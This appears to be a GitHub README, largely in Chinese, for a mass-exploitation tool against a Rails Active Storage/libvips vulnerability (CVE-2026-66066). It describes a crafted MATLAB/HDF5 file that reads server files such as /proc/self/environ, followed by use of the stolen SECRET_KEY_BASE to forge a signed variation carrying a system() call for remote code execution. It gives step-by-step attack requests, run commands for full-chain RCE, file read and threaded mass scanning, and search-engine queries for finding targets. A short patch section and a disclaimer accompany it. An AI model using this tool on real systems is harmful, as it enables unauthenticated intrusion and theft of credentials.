
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 是一个严重级别(CVSS 9.5)的预认证任意文件读取到远程代码执行链,存在于 Ruby on Rails Active Storage 中,影响默认配置下的 Rails 7.2.0–7.2.3.1、8.0.0–8.0.5 和 8.1.0–8.1.3。
该漏洞利用了跨越 Rails、libvips、libmatio 和 HDF5 的四层解析器混淆。一个精心构造的文件,带有 MATLAB 5.0 头(满足 libvips 的嗅探器)和 HDF5 v7.3 容器(由 libmatio 分派),其中包含指向任意服务端文件路径的外部数据集。当 ActiveStorage 将此文件作为图片变体处理时,目标文件的字节会变成图像像素——从而实现无需认证的任意文件读取。
一旦从 /proc/self/environ 或凭据文件中恢复 SECRET_KEY_BASE,攻击者即可推导出 Active Storage verifier 密钥,并伪造包含 instance_eval 的已签名 variation JSON,实现远程代码执行。
受影响安装量: 超过 50 万个 Rails 应用(Rails 7+ 默认
variant_processor = :vips) 发现者: Ethiack Research Team + RyotaK(GMO Flatt Security)+ bl0rph,2026 年 7 月 补丁: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1(2026 年 7 月 29 日)
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x 仅在手动启用 variant_processor = :vips 时受影响。
发现者: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph 参考 PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
该利用链跨越四个组件,串联了两个独立的内容类型不一致:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
没有合法写入器会在字节 0 处写入 MATLAB 5.0 的同时,在字节 124 处写入 0x0200。
Blob#variable? 信任在直接上传时填充到数据库列的值,不检查任何字节。Vips::Image.new_from_file 遍历加载器;matload 的嗅探器仅检查 10 个字节。0x0200 无论描述文本是什么都会选择 HDF5 后端。H5Pset_external 允许数据集的原始字节位于任意外部文件中。libmatio 调用 H5Dread 时未检查 H5Pget_external_count。Transformers::Vips 从基类继承 validate_transformation,后者只拦截 combine_options。任意方法名都会传递到 Vips::Image.public_send。1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
成功利用可导致以 Rails 进程用户身份执行远程代码:
SECRET_KEY_BASE → 伪造签名 Cookie、会话和 ActiveStorage 令牌credentials.yml.enc → 获取数据库密码、云存储密钥、第三方 API 令牌无需应用账户——直接上传端点默认接受未认证请求。
该修复会阻止不可信的 libvips 加载器:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
这会阻止 matload、svgload、fitsload、niiload、radload 和 openslideload 处理不可信输入。请升级至 Rails 7.2.3.2、8.0.5.1 或 8.1.3.1。需要 libvips >= 8.13 和 ruby-vips >= 2.2.1。
补丁后:轮换所有 Rails 进程可读取的机密——SECRET_KEY_BASE、RAILS_MASTER_KEY、数据库凭据和云存储密钥。
仅供教育和授权测试使用。
未经所有者明确许可,请勿对系统使用。作者不对滥用行为承担任何责任。
由 Ethiack Research Team + RyotaK + bl0rph 发现。与 Ruby on Rails 无关联。
| 字节 | 用途 | 值 |
|---|
| 0–9 | libvips 嗅探器 | MATLAB 5.0 |
| 10–123 | 填充 | 空格 |
| 124–125 | libmatio 分派器 | 0x0200 (HDF5 v7.3) |
| 126–127 | 字节序标记 | 0x4d49 (IM) |
| 128–511 | HDF5 用户块 | 填充 |
| 512+ | HDF5 超级块 | 包含外部数据集的容器 |
| 文件 | 用途 |
|---|
activestorage/app/models/active_storage/blob.rb | variable? 信任 content_type 列 |
activestorage/app/models/active_storage/blob/representable.rb | 表示路由独立解析 blob 和 variation |
activestorage/app/models/active_storage/variation.rb | decode 验证 variation 键;不交叉引用 blob |
image_processing/lib/image_processing/transformers/vips.rb | 没有方法白名单——继承基类行为 |
libvips/foreign/matload.c | vips__mat_ismat 仅嗅探前 10 个字节 |
| 资源 | 链接 |
|---|
| Rails 安全公告 | GHSA-xr9x-r78c-5hrm |
| 参考 PoC(0xsha) | KindaRails2Shell |
| Ethiack 研究 | kindarails2shell |
| Rails 取证 | rails-forensics-CVE-2026-66066 |
| Metasploit 模块 | rapid7/metasploit-framework#21733 |
| CWE-94 | 代码注入 |